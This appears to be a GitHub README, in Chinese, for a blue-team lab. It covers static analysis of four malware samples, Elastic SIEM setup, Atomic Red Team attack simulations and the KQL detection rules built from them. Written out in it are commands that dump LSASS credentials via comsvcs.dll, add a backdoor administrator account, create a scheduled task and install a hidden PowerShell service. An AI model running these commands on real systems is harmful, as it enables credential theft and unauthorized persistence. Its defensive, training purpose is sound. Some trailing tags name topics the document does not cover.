abdsiddi/elastic-threat-detection-lab
GitHub: abdsiddi/elastic-threat-detection-lab
一个基于 Elastic Stack 的蓝队实战实验室,涵盖恶意软件静态分析、攻击模拟与 SIEM 检测规则编写。
Stars: 0 | Forks: 0
# 网络威胁情报 — 家庭实验室
# 网络威胁情报 — 家庭实验室 `静态分析 · SIEM 工程 · 检测规则编写 · ATT&CK 模拟`
# 📂 目录
1. [静态文件分析 — 恶意软件识别](#01-static-file-analysis)
2. [Elastic Stack 设置与日志验证](#02-elastic-stack-setup--log-verification)
3. [攻击模拟 — Atomic Red Team](#03-attack-simulation--atomic-red-team)
4. [在 Kibana Discover 中进行日志分析](#04-log-analysis-in-kibana-discover)
5. [检测规则与 SIEM 告警](#05-detection-rules--siem-alerting)
6. [MITRE ATT&CK 覆盖范围](#06-mitre-attck-coverage)
# 01. 静态文件分析
使用标准的静态分析工具分析了四个未知来源的文件:
* `file`
* `strings`
* `binwalk`
* `exiftool`
* VirusTotal
目标是确定文件类型、识别嵌入的 payload、检测混淆模式,并对恶意行为进行分类。
## 📊 分析摘要
| 指标 | 值 |
| ----------------------------- | ------- |
| 已分析文件 | 4 |
| 标记为恶意的文件 | 4 |
| 最高 VT 检测数 | 59 / 71 |
| 已识别的恶意软件类别 | 4 |
## 📄 file1 — Composite Document File V2 (.doc)
该样本显示为使用 OLE 复合文档格式的旧版 Microsoft Word 文档。静态检查揭示了可疑的宏执行行为和嵌入 payload 的暂存证据。
### Strings 分析
```
C:\Users\Public
winmm.dll
Rundll32
Certutil -decode
```
### 观察结果
* `Certutil -decode` 被识别为 LOLBin 使用
* 引用了 `Rundll32` 用于 DLL 执行
* 检测到嵌入的 payload 投递指示符
* 通过 Binwalk 识别出多个存档签名
### Binwalk 发现
* StuffIt 存档片段
* 嵌入的 PNG 结构
* ZIP 存档容器
* `[Content_Types].xml`
* `.rels` 关系文件
### VirusTotal 分类
| 引擎结果 | 检测 |
| --------------- | --------- |
| Trojan.VBA | ✓ |
| W97M.Downloader | ✓ |
| Malicious Macro | ✓ |
### 检出率
```
44 / 63
```
### SHA-256
```
dc40e48d2e0e57cd16b1792bdccc185440f632783c7bcc87c955e1d4e88fc95
```
## ⚙️ file2 — PE32 .NET 可执行文件 (.exe)
被识别为基于 .NET 框架编译的 32 位 Windows 可执行文件。元数据试图将该样本伪装成合法的实用程序应用。
### 元数据分析
| 字段 | 值 |
| ------------- | ------------------ |
| Internal Name | GuidTypeIn.exe |
| Product Name | WinThumbsPreloader |
| Machine Type | Intel 386 / PE32 |
| Subsystem | Windows GUI |
### API 引用
```
GetWindowLongPtr32
SetWindowLong32
```
### 观察结果
* UI hook 操纵指示符
* 与 Remote Access Trojans 的行为重叠
* 检测到嵌入的压缩资源
* 潜在的间谍软件功能
### VirusTotal 分类
| 引擎结果 | 检测 |
| ------------- | --------- |
| Trojan.MSIL | ✓ |
| Backdoor.Win | ✓ |
| RAT | ✓ |
| Spyware | ✓ |
### 检出率
```
59 / 71
```
### SHA-256
```
9c9a99423087bdfd23df04a29984273ba056021ee54e815d2cd85103a9548eff
```
## 📊 file3 — Composite Document File V2 (.xls)
以 OLE 格式存储的旧版 Excel 文档。静态分析表明存在 VBA 宏混淆和嵌入的 payload 嵌套。
### 指示符
* 自动打开宏行为
* 嵌入的 ZIP 结构
* VBA 混淆
* Downloader 特征
### VirusTotal 分类
| 类别 | 结果 |
| ---------------- | ------ |
| Trojan | ✓ |
| Macro Downloader | ✓ |
| Auto Execute | ✓ |
### 检出率
```
40 / 62
```
### SHA-256
```
de8e60c9b433dca50790371de29f6e6f68f3f244b060f838cdd07eea944f4f48
```
## 🌐 file4 — 混淆的 HTML Payload
HTML 样本,在异常大的 ASCII 结构中包含了严重混淆的嵌入 JavaScript。
### 指示符
* 嵌入的 JavaScript payload
* HTML 木马行为
* 混淆的执行逻辑
* 浏览器漏洞利用特征
### VirusTotal 分类
| 类别 | 结果 |
| ------------- | ------ |
| HTML Trojan | ✓ |
| Exploit Agent | ✓ |
| Embedded JS | ✓ |
### 检出率
```
22 / 61
```
### SHA-256
```
c41d9cf3dcabc161c040a8c3fcf8cfc18983fc896ce55003e230eff37171835
```
# 📋 静态分析摘要
| 文件 | 类型 | 恶意软件类别 | VT 检测数 | 结论 |
| ----- | ---------------- | ---------------- | ------------- | --------- |
| file1 | .doc (OLE) | VBA Macro Trojan | 44 / 63 | Malicious |
| file2 | .exe (.NET PE32) | RAT / Spyware | 59 / 71 | Malicious |
| file3 | .xls (OLE) | Macro Downloader | 40 / 62 | Malicious |
| file4 | .html | HTML Trojan | 22 / 61 | Malicious |
# 02. Elastic Stack 设置与日志验证
使用以下组件配置了本地 Elastic SIEM 环境:
* Elasticsearch 8.x
* Kibana
* Winlogbeat
* Sysmon
* Windows 11 虚拟机
* Kali Linux 分析站
## 🧱 基础设施组件
| 组件 | 角色 |
| ------------- | -------------------------------------- |
| Elasticsearch | 日志索引和存储 |
| Kibana | 可视化和检测管理 |
| Winlogbeat | Windows 事件日志转发 |
| Sysmon | 增强的 Windows 遥测 |
| Windows 11 VM | 攻击目标环境 |
| Kali Linux | 分析师工作站 |
## 验证工作流
### 1. Kibana Discover 验证
确认已主动摄入至:
```
winlogbeat-*
```
观察到的已索引事件总数:
```
3,446 documents
```
### 2. 事件流验证
观察到的遥测包括:
* PowerShell 事件 ID 4104
* Windows 安全日志
* Sysmon 进程创建事件
* 服务控制管理器事件
### 3. ECS 字段验证
验证了以下字段的存在:
```
@timestamp
host.name
event.code
winlog.provider_name
```
# 03. 攻击模拟 — Atomic Red Team
使用 Atomic Red Team 模拟了直接映射到 MITRE ATT&CK 技术的真实对手行为。
## T1053.005 — 计划任务创建
### 技术类别
```
Persistence
```
### PowerShell 执行
```
Invoke-AtomicTest T1053.005 -TestNumbers 2
```
### 直接等效命令
```
schtasks /Create /SC ONCE /TN spawn /TR cmd.exe /ST 20:10
```
### 结果
```
SUCCESS: The scheduled task "spawn" has successfully been created.
```
## T1003.001 — LSASS 内存转储
### 技术类别
```
Credential Access
```
### PowerShell 执行
```
Invoke-AtomicTest T1003.001 -TestNumbers 2
```
### 直接等效命令
```
rundll32.exe comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass.dmp full
```
### 结果
```
Done executing test: T1003.001-2 Dump LSASS.exe Memory using comsvcs.dll
```
## T1136.001 — 本地用户帐户创建
### 技术类别
```
Persistence
```
### 命令
```
net user attacker123 P@ssw0rd123 /add
net localgroup administrators attacker123 /add
```
### 结果
```
The command completed successfully.
```
## T1569.002 — 基于服务的执行
### 技术类别
```
Execution
```
### 配置
```
ServiceName: ARTService
BinaryPath: C:\WINDOWS\system32\cmd.exe /c powershell.exe -nop -w hidden
```
### 检测工件
```
Windows Event ID 7045
```
# 04. 在 Kibana Discover 中进行日志分析
在执行 Atomic Red Team 模拟后,使用 KQL 在 Kibana Discover 中调查了遥测数据。
## KQL 查询
### 计划任务活动
```
message: "*schtasks*"
```
### LSASS 凭据转储
```
message: "*lsass*" OR message: "*MiniDump*"
```
### 用户帐户创建
```
event.code: 4720
```
### 服务安装
```
event.code: 7045
```
## 检测发现
| 技术 | 事件来源 | 事件 ID | 已检测 |
| --------------------- | ----------------------- | -------- | -------- |
| Scheduled Task | Sysmon | 1 | ✓ |
| LSASS Dump | PowerShell / Sysmon | 1 | ✓ |
| User Account Creation | Windows Security | 4720 | ✓ |
| Service Installation | Service Control Manager | 7045 | ✓ |
# 05. 检测规则与 SIEM 告警
在 Kibana Security 中使用基于 KQL 的规则逻辑编写了自定义检测规则。
## 🔴 LSASS 凭据转储检测
### 严重性
```
High
```
### 查询
```
message: "*lsass*" OR message: "*MiniDump*" OR message: "*comsvcs.dll*"
```
### MITRE 映射
```
T1003.001
```
### 生成的告警
```
20 Alerts
```
## 🟡 计划任务持久化检测
### 严重性
```
Medium
```
### 查询
```
message: "*schtasks*" AND message: "*/Create*"
```
### MITRE 映射
```
T1053.005
```
### 生成的告警
```
6 Alerts
```
## 🟡 用户帐户创建检测
### 严重性
```
Medium
```
### 查询
```
event.code: 4720
```
### MITRE 映射
```
T1136.001
```
### 生成的告警
```
2 Alerts
```
# 📈 告警摘要
| 指标 | 数量 |
| --------------- | ----- |
| 告警总数 | 28 |
| 高严重性 | 20 |
| 中严重性 | 8 |
| 触发的规则 | 3 |
# 06. MITRE ATT&CK 覆盖范围
| 战术 | 技术 | ID | 方法 |
| ----------------- | ----------------------- | --------- | --------------- |
| Credential Access | LSASS Memory Dumping | T1003.001 | comsvcs.dll |
| Persistence | Scheduled Task Creation | T1053.005 | schtasks.exe |
| Persistence | Local Account Creation | T1136.001 | net user |
| Execution | Service Execution | T1569.002 | sc create |
| Execution | VBScript Execution | T1059.005 | Atomic Red Team |
# 关键结论
* 成功构建了功能性的 Elastic SIEM pipeline
* 使用 Winlogbeat + Sysmon 验证了 Windows 遥测数据摄入
* 使用 Atomic Red Team 模拟了对手技术
* 编写了自定义 KQL 检测规则
* 从 Windows 原生遥测中生成了高保真检测
* 将攻击活动直接映射到 MITRE ATT&CK 技术
# 待添加截图
* Kibana Discover 仪表板
* Elastic Security 告警
* Atomic Red Team 执行终端
* Winlogbeat 配置
* Sysmon 遥测日志
* 检测规则配置
# 网络威胁情报 — 家庭实验室 `静态分析 · SIEM 工程 · 检测规则编写 · ATT&CK 模拟`
| ### 作者 Muhammad Abdullah Siddiqui | ### 环境 Kali Linux + Windows 11 虚拟机 | ### 技术栈 Elastic Stack 8.x · Sysmon · Winlogbeat | ### 框架 MITRE ATT&CK · Atomic Red Team |
### 网络威胁情报家庭实验室
静态分析 · SIEM 工程 · 检测工程 · ATT&CK 模拟
标签:AI合规, AMSI绕过, Elastic Stack, 威胁检测, 安全实验室, 攻击模拟, 流量重放, 越狱测试, 驱动签名利用